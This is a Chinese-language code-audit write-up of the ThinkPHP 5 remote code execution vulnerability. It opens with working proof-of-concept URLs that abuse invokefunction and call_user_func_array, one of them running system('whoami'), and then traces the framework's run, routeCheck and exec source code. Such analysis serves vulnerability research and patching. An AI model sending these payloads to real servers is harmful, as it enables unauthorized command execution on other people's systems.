Thinkphp5 RCE 代码审计

POC：
/thinkphp/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp_5.0.22/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp5.0.22/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp5.1.29/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp_5.1.29/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

环境：phpstorm+xdebugThinkphp_5.0.14_fullphpstorm+xdebug环境可自行百度搭建poc: ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

public static function run(Request $request = null){        #初始化request对象        $request = is_null($request) ? Request::instance() : $request;
        try {            $config = self::initCommon();
            // 模块/控制器绑定            if (defined('BIND_MODULE')) {                BIND_MODULE && Route::bind(BIND_MODULE);            } elseif ($config['auto_bind_module']) {                // 入口自动绑定                $name = pathinfo($request->baseFile(), PATHINFO_FILENAME);                if ($name && 'index' != $name && is_dir(APP_PATH . $name)) {                    Route::bind($name);                }            }
            $request->filter($config['default_filter']);
            // 默认语言            Lang::range($config['default_lang']);            // 开启多语言机制 检测当前语言            $config['lang_switch_on'] && Lang::detect();            $request->langset(Lang::range());
            // 加载系统语言包            Lang::load([                THINK_PATH . 'lang' . DS . $request->langset() . EXT,                APP_PATH . 'lang' . DS . $request->langset() . EXT,            ]);
            // 监听 app_dispatch            Hook::listen('app_dispatch', self::$dispatch);            // 获取应用调度信息            $dispatch = self::$dispatch;
            // 未设置调度信息则进行 URL 路由检测            if (empty($dispatch)) {                $dispatch = self::routeCheck($request, $config);            }
            // 记录当前调度信息            $request->dispatch($dispatch);
            // 记录路由和请求信息            if (self::$debug) {                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');            }
            // 监听 app_begin            Hook::listen('app_begin', $dispatch);
            // 请求缓存检查            $request->cache(                $config['request_cache'],                $config['request_cache_expire'],                $config['request_cache_except']            );
            $data = self::exec($dispatch, $config);        } catch (HttpResponseException $exception) {            $data = $exception->getResponse();        }
        // 清空类的实例化        Loader::clearInstance();
        // 输出数据到客户端        if ($data instanceof Response) {            $response = $data;        } elseif (!is_null($data)) {            // 默认自动识别响应输出类型            $type = $request->isAjax() ?            Config::get('default_ajax_return') :            Config::get('default_return_type');
            $response = Response::create($data, $type);        } else {            $response = Response::create();        }
        // 监听 app_end        Hook::listen('app_end', $response);
        return $response;}

public static function routeCheck($request, array $config){        $path   = $request->path();        $depr   = $config['pathinfo_depr'];        $result = false;
        // 路由检测        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];        if ($check) {            // 开启路由            if (is_file(RUNTIME_PATH . 'route.php')) {                // 读取路由缓存                $rules = include RUNTIME_PATH . 'route.php';                is_array($rules) && Route::rules($rules);            } else {                $files = $config['route_config_file'];                foreach ($files as $file) {                    if (is_file(CONF_PATH . $file . CONF_EXT)) {                        // 导入路由配置                        $rules = include CONF_PATH . $file . CONF_EXT;                        is_array($rules) && Route::import($rules);                    }                }            }
            // 路由检测（根据路由定义返回不同的URL调度）            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
            if ($must && false === $result) {                // 路由无效                throw new RouteNotFoundException();            }        }
        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索        if (false === $result) {            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);        }
        return $result;}

protected static function exec($dispatch, $config){        switch ($dispatch['type']) {            case 'redirect': // 重定向跳转                $data = Response::create($dispatch['url'], 'redirect')                    ->code($dispatch['status']);                break;            case 'module': // 模块/控制器/操作                $data = self::module(                    $dispatch['module'],                    $config,                    isset($dispatch['convert']) ? $dispatch['convert'] : null                );                break;            case 'controller': // 执行控制器操作                $vars = array_merge(Request::instance()->param(), $dispatch['var']);                $data = Loader::action(                    $dispatch['controller'],                    $vars,                    $config['url_controller_layer'],                    $config['controller_suffix']                );                break;            case 'method': // 回调方法                $vars = array_merge(Request::instance()->param(), $dispatch['var']);                $data = self::invokeMethod($dispatch['method'], $vars);                break;            case 'function': // 闭包                $data = self::invokeFunction($dispatch['function']);                break;            case 'response': // Response 实例                $data = $dispatch['response'];                break;            default:                throw new InvalidArgumentException('dispatch type not support');        }
        return $data;}